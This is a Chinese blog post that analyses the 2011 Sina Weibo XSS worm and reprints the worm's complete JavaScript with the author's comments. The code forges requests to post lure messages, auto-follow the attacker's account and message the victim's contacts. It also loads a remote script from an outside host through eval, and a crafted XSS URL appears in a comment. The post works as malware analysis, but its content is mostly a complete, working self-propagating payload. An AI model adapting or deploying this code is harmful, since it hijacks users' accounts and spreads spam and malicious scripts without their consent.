逛酷殼看到2011年新浪那次比較大的XSS蠕蟲傳播事件,Post上給出了蠕蟲的代碼,正好最近實習須要在狂補前端的各類,正好拿來分析下,菜分析,牛無視。php
事件的通過線索以下:html
該蠕蟲代碼沒什麼難度,都是常規的一些請求僞造,分析目的就是爲了在真實***事件中學習Xss Payload編寫思路,分析過程簡單的寫到註釋裏了。前端
這個蠕蟲的三大功能:web
發表微博->關注***者微博賬號->遍歷關注用戶列表併發送私信數組
- function createXHR(){ //建立XMLHttp對象,沒啥好說的
- return window.XMLHttpRequest?
- new XMLHttpRequest():
- new ActiveXObject("Microsoft.XMLHTTP");
- }
- function getappkey(url){
- xmlHttp = createXHR();
- xmlHttp.open("GET",url,false); //獲取AppKey不採用異步執行,等待請求返回
- xmlHttp.send();
- result = xmlHttp.responseText;
- id_arr = '';
- id = result.match(/namecard=\"true\" title=\"[^\"]*/g);
- //正則匹配出AppKey數組,包含每一個被收聽用戶的uid
- for(i=0;i<id.length;i++){
- sum = id[i].toString().split('"')[3];//從新提取整理
- id_arr += sum + '||';
- }
- return id_arr;
- }
- function random_msg(){
- link = ' http://163.fm/PxZHoxn?id=' + new Date().getTime();;
- //使用短地址服務,構造XSS傳播鏈接
- //http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/p_w_picpaths/t.js%3E%3C/script%3E?type=update
- //隱藏本身的惡意js腳本
- var msgs = [ //話題列表
- '郭美美事件的一些未注意到的細節:',
- '建黨大業中穿幫的地方:',
- '讓女人心動的100句詩歌:',
- '3D肉團團高清普通話版種子:',
- '這是傳說中的神仙眷侶啊:',
- '驚爆!范冰冰豔照真流出了:',
- '楊冪被爆屢次被潛規則:',
- '傻仔拿錘子去搶銀行:',
- '能夠監聽別人手機的軟件:',
- '個稅起徵點有望提到4000:'];
- var msg = msgs[Math.floor(Math.random()*msgs.length)] + link;
- //隨機選取話題,加上以前的傳播鏈接做爲微博內容
- msg = encodeURIComponent(msg); //對內容進行Url編碼
- return msg;
- }
- function post(url,data,sync){ //Ajax部分,沒啥可說的
- xmlHttp = createXHR();
- xmlHttp.open("POST",url,sync);
- xmlHttp.setRequestHeader("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
- xmlHttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8");
- xmlHttp.send(data);
- }
- function publish(){
- url = 'http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); //構造微博發表完成的Url
- data = 'content=' + random_msg() + '&pic=&styleid=2&retcode='; //使用random_msg生成隨機話題
- post(url,data,true); //使用XmlHttpRequest發送請求
- }
- function follow(){
- url = 'http://weibo.com/attention/aj_addfollow.php?refer_sort=profile&atnId=profile&rnd=' + new Date().getTime(); //自動關注的Url
- data = 'uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + '&refer_sort=profile&atnId=profile';
- //使用當前頁面存儲的$CONFIG.$uid構造自動關注數據包
- post(url,data,true); //經過XMLHttpRequest發送請求
- }
- function message(){
- url = 'http://weibo.com/' + $CONFIG.$uid + '/follow'; //構造用戶關注用戶列表頁Url
- ids = getappkey(url); //獲取被關注用戶的Appkey數組
- id = ids.split('||'); //分割出每一個被關注用戶的Appkey
- for(i=0;i<id.length - 1 & i<5;i++){
- //構造私信發送Url
- msgurl = 'http://weibo.com/message/addmsg.php?rnd=' + new Date().getTime();
- msg = random_msg();
- msg = encodeURIComponent(msg);
- user = encodeURIComponent(encodeURIComponent(id[i]));
- data = 'content=' + msg + '&name=' + user + '&retcode=';
- post(msgurl,data,false);//經過XmlHttpRequest發送請求
- }
- }
- function main(){
- try{
- publish(); //模擬發表微博
- }
- catch(e){}
- try{
- follow(); //模擬關注用戶
- }
- catch(e){}
- try{
- message(); //模擬發送私信
- }
- catch(e){}
- }
- try{
- //在當前body尾部插入存放在遠端的Xss惡意腳本
- x="g=document.createElement('script');g.src='http://www.2kt.cn/p_w_picpaths/t.js';document.body.appendChild(g)";window.opener.eval(x);
- }
- catch(e){}
- main();
- var t=setTimeout('location="http://weibo.com/pub/topic";',5000);
- //等待5秒跳轉到微話題頁面
從Js中獲取各類當前用戶信息,沒什麼可塗的。併發